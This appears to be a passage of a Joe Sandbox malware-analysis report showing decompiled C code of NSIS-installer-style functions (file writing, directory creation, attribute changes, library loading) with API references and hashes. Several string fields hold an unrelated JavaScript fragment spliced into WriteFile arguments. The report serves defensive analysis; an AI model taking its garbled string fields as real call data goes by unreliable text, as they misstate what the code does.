Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: ChangeCloseCodeExecuteExitFindNotificationObjectProcessShellSingleWait
String ID: @
API String ID: 4215836453-2766056989
Opcode ID: 39f81d2894766911e758ec91e5a89d3189affdb352d3a3bfd1456e05092c055f
Instruction ID: e7e9fe02224fa80e8acc3d91e69a95aa357927643f4877ada07b0f7c2baa17a7
Opcode Fuzzy Hash: 39f81d2894766911e758ec91e5a89d3189affdb352d3a3bfd1456e05092c055f
Instruction Fuzzy Hash: 01112B75E142049BDB10EFB9DA89A8DBBB0AB48304F24453AE555F72D2DBB888419F18

Uniqueness

Uniqueness Score: -1.00%

Function 00405F90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405F90(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x00405f94
0x00405fa4
0x00405fac
0x00000000
0x00405fb3
0x00000000
0x00405fb5

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00420B66,rects:10,prefixUrl:"",methodRewriting:!0,ignoreInvalidCookies:!1,context:{},http2:!1,allowGetBody:!1,https:void 0,pagination:{transform:u=>u.request.options.responseType==="json"?u.body:JSON.parse(u.body),paginate:u=>{if(!Reflect.has(u.headers,"link"))return!1,004033DE,rects:10,prefixUrl:"",methodRewriting:!0,ignoreInvalidCookies:!1,context:{},http2:!1,allowGetBody:!1,https:void 0,pagination:{transform:u=>u.request.options.responseType==="json"?u.body:JSON.parse(u.body),paginate:u=>{if(!Reflect.has(u.headers,"link"))return!1,00420B66,dlers:o,mutableDefaults:Boolean(y)})};const L=async function*(P,g){let o=_(P,g,v.options);o.resolveBodyOnly=!1;const y=o.pagination;if(!s.default.object(y))throw new TypeError("`options.pagination` must be implemented");const R=[];let{countLimit:C}=y,F=0;for(;,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Strings

rects:10,prefixUrl:"",methodRewriting:!0,ignoreInvalidCookies:!1,context:{},http2:!1,allowGetBody:!1,https:void 0,pagination:{transform:u=>u.request.options.responseType==="json"?u.body:JSON.parse(u.body),paginate:u=>{if(!Reflect.has(u.headers,"link"))return!1, xrefs: 00405F90

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: FileWrite
String ID: rects:10,prefixUrl:"",methodRewriting:!0,ignoreInvalidCookies:!1,context:{},http2:!1,allowGetBody:!1,https:void 0,pagination:{transform:u=>u.request.options.responseType==="json"?u.body:JSON.parse(u.body),paginate:u=>{if(!Reflect.has(u.headers,"link"))return!1
API String ID: 3934441357-3364461195
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004015C1(short __ebx, void* __eflags) {
				void* _t17;
				int _t23;
				void* _t25;
				signed char _t26;
				short _t28;
				short _t31;
				short* _t34;
				void* _t36;

				_t28 = __ebx;
				 *(_t36 + 8) = E00402C41(0xfffffff0);
				_t17 = E00405D68(_t16);
				_t32 = _t17;
				if(_t17 != __ebx) {
					do {
						_t34 = E00405CEA(_t32, 0x5c);
						_t31 =  *_t34;
						 *_t34 = _t28;
						if(_t31 != _t28) {
							L5:
							_t25 = E0040599C( *(_t36 + 8));
						} else {
							_t42 =  *((intOrPtr*)(_t36 - 0x20)) - _t28;
							if( *((intOrPtr*)(_t36 - 0x20)) == _t28 || E004059B9(_t42) == 0) {
								goto L5;
							} else {
								_t25 = E0040591F( *(_t36 + 8)); // executed
							}
						}
						if(_t25 != _t28) {
							if(_t25 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
							} else {
								_t26 = GetFileAttributesW( *(_t36 + 8)); // executed
								if((_t26 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						 *_t34 = _t31;
						_t32 = _t34 + 2;
					} while (_t31 != _t28);
				}
				if( *((intOrPtr*)(_t36 - 0x24)) == _t28) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E004063E8(0x4c9000,  *(_t36 + 8));
					_t23 = SetCurrentDirectoryW( *(_t36 + 8)); // executed
					if(_t23 == 0) {
						 *((intOrPtr*)(_t36 - 4)) =  *((intOrPtr*)(_t36 - 4)) + 1;
					}
				}
				 *0x4702e8 =  *0x4702e8 +  *((intOrPtr*)(_t36 - 4));
				return 0;
			}

0x004015c1
0x004015c9
0x004015cc
0x004015d1
0x004015d5
0x004015d7
0x004015df
0x004015e1
0x004015e4
0x004015ea
0x00401604
0x00401607
0x004015ec
0x004015ec
0x004015ef
0x00000000
0x004015fa
0x004015fd
0x004015fd
0x004015ef
0x0040160e
0x00401615
0x00401624
0x00401624
0x00401617
0x0040161a
0x00401622
0x00000000
0x00000000
0x00401622
0x00401615
0x00401627
0x0040162b
0x0040162c
0x004015d7
0x00401634
0x00401663
0x0040224b
0x00401636
0x00401638
0x00401645
0x0040164d
0x00401655
0x0040165b
0x0040165b
0x00401655
0x00402ac8
0x00402ad4

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,0045A730,?,00405DDC,0045A730,0045A730,004D5000,?,746AF560,00405B1A,?,004D5000,746AF560,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,004C9000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: 2e9692695d224f2209394ba8483a10a7673f1574e580eee3bfcb80b1a84d84da
Instruction ID: 7d59cd0ba42eeb9d64297a1bfc0940e3ae1e5cc226c4bbb5031ea1960038836b
Opcode Fuzzy Hash: 2e9692695d224f2209394ba8483a10a7673f1574e580eee3bfcb80b1a84d84da
Instruction Fuzzy Hash: 8811D031904510EBCF30AFA5CD4599E36A0EF15329B28493BFA45B22F1DB3E8D819A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405DC5 Relevance: 3.0, APIs: 2, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405DC5(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				long _t16;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E004063E8(0x45a730, _a4);
				_t21 = E00405D68(0x45a730);
				if(_t21 != 0) {
					E0040667C(_t21);
					if(( *0x47025c & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x45a730 >> 1;
						while(1) {
							_t11 = lstrlenW(0x45a730);
							_push(0x45a730);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E0040672B();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405D09(0x45a730);
								continue;
							} else {
								goto L1;
							}
						}
						E00405CBD();
						_t16 = GetFileAttributesW(??); // executed
						return 0 | _t16 != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x00405dd1
0x00405ddc
0x00405de0
0x00405de7
0x00405df3
0x00405e03
0x00405e05
0x00405e1d
0x00405e1e
0x00405e25
0x00405e26
0x00000000
0x00000000
0x00405e09
0x00405e10
0x00405e18
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e10
0x00405e28
0x00405e2e
0x00000000
0x00405e3c
0x00405df5
0x00405dfb
0x00000000
0x00000000
0x00000000
0x00000000
0x00405dfb
0x00405de2
0x00000000

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00002000,00403576,00468240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,0045A730,?,00405DDC,0045A730,0045A730,004D5000,?,746AF560,00405B1A,?,004D5000,746AF560,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(0045A730,00000000,0045A730,0045A730,004D5000,?,746AF560,00405B1A,?,004D5000,746AF560,00000000), ref: 00405E1E
GetFileAttributesW.KERNELBASE(0045A730,0045A730,0045A730,0045A730,0045A730,0045A730,00000000,0045A730,0045A730,004D5000,?,746AF560,00405B1A,?,004D5000,746AF560), ref: 00405E2E

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID:
API String ID: 3248276644-0
Opcode ID: c50f70bfe3bb78425b78202ba545a0a687f676b53d1ab77a34f5d173cef1449b
Instruction ID: 388cf340d0c034ef08ff27084220079457182ac4682ba574f5a4b5e3d5e6accd
Opcode Fuzzy Hash: c50f70bfe3bb78425b78202ba545a0a687f676b53d1ab77a34f5d173cef1449b
Instruction Fuzzy Hash: DFF0F43A005E1116D62233364D09BEF0948CE82314B1A853BFC91B22D2DB3C8A539DFE

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x470290;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x46822c =  *0x46822c + _t12;
						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x46822c, 0x7530,  *0x468214), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8c309843f6b2f335838841955cb70ff663a93de2c7e640db2f5b87053db46705
Instruction ID: b0acf179c18152fd5568b60ba426e70b62ff0895eecaeb6bac654bfa50895d4e
Opcode Fuzzy Hash: 8c309843f6b2f335838841955cb70ff663a93de2c7e640db2f5b87053db46705
Instruction Fuzzy Hash: AD012832620210DFE7195B789D18B2A3798E710718F10467FF955F62F1EA78CC429B4D

Uniqueness

Uniqueness Score: -1.00%

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004067C2(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x40a410);
				_t5 = GetModuleHandleA( *(_t10 + 0x40a410));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x40a414));
				}
				_t5 = E00406752(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x004067ca
0x004067cd
0x004067d4
0x004067dc
0x004067e8
0x00000000
0x004067ef
0x004067df
0x004067e6
0x00000000
0x004067f7
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 004067B8

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Uniqueness

Uniqueness Score: -1.00%

Function 004039E6 Relevance: 3.0, APIs: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004039E6() {
				void* _t1;
				void* _t2;
				void* _t4;
				signed int _t11;

				_t1 =  *0x40a018; // 0xffffffff
				if(_t1 != 0xffffffff) {
					FindCloseChangeNotification(_t1); // executed
					 *0x40a018 =  *0x40a018 | 0xffffffff;
				}
				_t2 =  *0x40a01c; // 0xffffffff
				if(_t2 != 0xffffffff) {
					CloseHandle(_t2);
					 *0x40a01c =  *0x40a01c | 0xffffffff;
					_t11 =  *0x40a01c;
				}
				E00403A43();
				_t4 = E00405AFA(_t11, 0x4d9000, 7); // executed
				return _t4;
			}

0x004039e6
0x004039f5
0x004039f8
0x004039fa
0x004039fa
0x00403a01
0x00403a09
0x00403a0c
0x00403a0e
0x00403a0e
0x00403a0e
0x00403a15
0x00403a21
0x00403a27

APIs

FindCloseChangeNotification.KERNELBASE(FFFFFFFF,746AFAA0,00403819,00000006,?,00000006,00000008,0000000A), ref: 004039F8
CloseHandle.KERNEL32(FFFFFFFF,746AFAA0,00403819,00000006,?,00000006,00000008,0000000A), ref: 00403A0C

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Close$ChangeFindHandleNotification
String ID:
API String ID: 4069496961-0
Opcode ID: ffd8599462ce3f723ad4d03e4ae191cd570dcb1409c2afe1ca7b75f560b1f18d
Instruction ID: cd813d42a02bf8c0cac85f8aec853e45aa6acae4c29e822381722b559998feb2
Opcode Fuzzy Hash: ffd8599462ce3f723ad4d03e4ae191cd570dcb1409c2afe1ca7b75f560b1f18d
Instruction Fuzzy Hash: 0AE08C35A4071496C520EF7CBD8D9853A286B813357208326F0BDF21F0C7389EA79EA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00405EDE(WCHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesW(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00405ee2
0x00405eef
0x00405f04
0x00405f0a

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,004DD000,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Uniqueness

Uniqueness Score: -1.00%

Function 00405EB9 Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405EB9(WCHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesW(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesW(_a4, _t3 & 0x000000fe); // executed
				}
				return _t7;
			}

0x00405ebe
0x00405ec4
0x00405ec9
0x00405ed2
0x00405ed2
0x00405edb

APIs

GetFileAttributesW.KERNELBASE(?,?,00405ABE,?,?,00000000,00405C94,?,?,?,?), ref: 00405EBE
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405ED2

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction ID: 9f0be338fa0adf84d9e7c2e76c5bc37ea56a51acd28ddc8ab22a7b028afbcef4
Opcode Fuzzy Hash: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction Fuzzy Hash: 13D01272504420AFC2502738EF0C89FBF95DB543717124B35FAE9A22F0CB304C568A98

Uniqueness

Uniqueness Score: -1.00%

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040599C(WCHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryW(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x004059a2
0x004059aa
0x00000000
0x004059b0
0x00000000

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,004D5000,004D5000,004D5000,004D5000,746AFAA0,004036EF,?,00000006,00000008,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Uniqueness

Uniqueness Score: -1.00%

Function 00401F06 Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401F06() {
				void* _t13;
				void* _t15;
				void* _t17;
				void* _t20;
				void* _t22;

				_t19 = E00402C41(_t15);
				E00405450(0xffffffeb, _t7);
				_t20 = E004059D1(_t19);
				if(_t20 == _t15) {
					 *((intOrPtr*)(_t22 - 4)) = 1;
				} else {
					if( *((intOrPtr*)(_t22 - 0x20)) != _t15) {
						_t13 = E00406873(_t17, _t20);
						if( *((intOrPtr*)(_t22 - 0x24)) < _t15) {
							if(_t13 != _t15) {
								 *((intOrPtr*)(_t22 - 4)) = 1;
							}
						} else {
							E0040632F( *((intOrPtr*)(_t22 - 0xc)), _t13);
						}
					}
					_push(_t20); // executed
					FindCloseChangeNotification(); // executed
				}
				 *0x4702e8 =  *0x4702e8 +  *((intOrPtr*)(_t22 - 4));
				return 0;
			}

0x00401f0c
0x00401f11
0x00401f1c
0x00401f20
0x0040288b
0x00401f26
0x00401f29
0x00401f2c
0x00401f34
0x00401f43
0x00401f45
0x00401f45
0x00401f36
0x00401f3a
0x00401f3a
0x00401f34
0x00401f4c
0x00401f4d
0x00401f4d
0x00402ac8
0x00402ad4

APIs

Part of subcall function 00405450: lstrlenW.KERNEL32(0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(0043E708,00402F08), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(0043E708,0043E708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Part of subcall function 004059D1: CreateProcessW.KERNEL32 ref: 004059FA
Part of subcall function 004059D1: CloseHandle.KERNEL32(?), ref: 00405A07

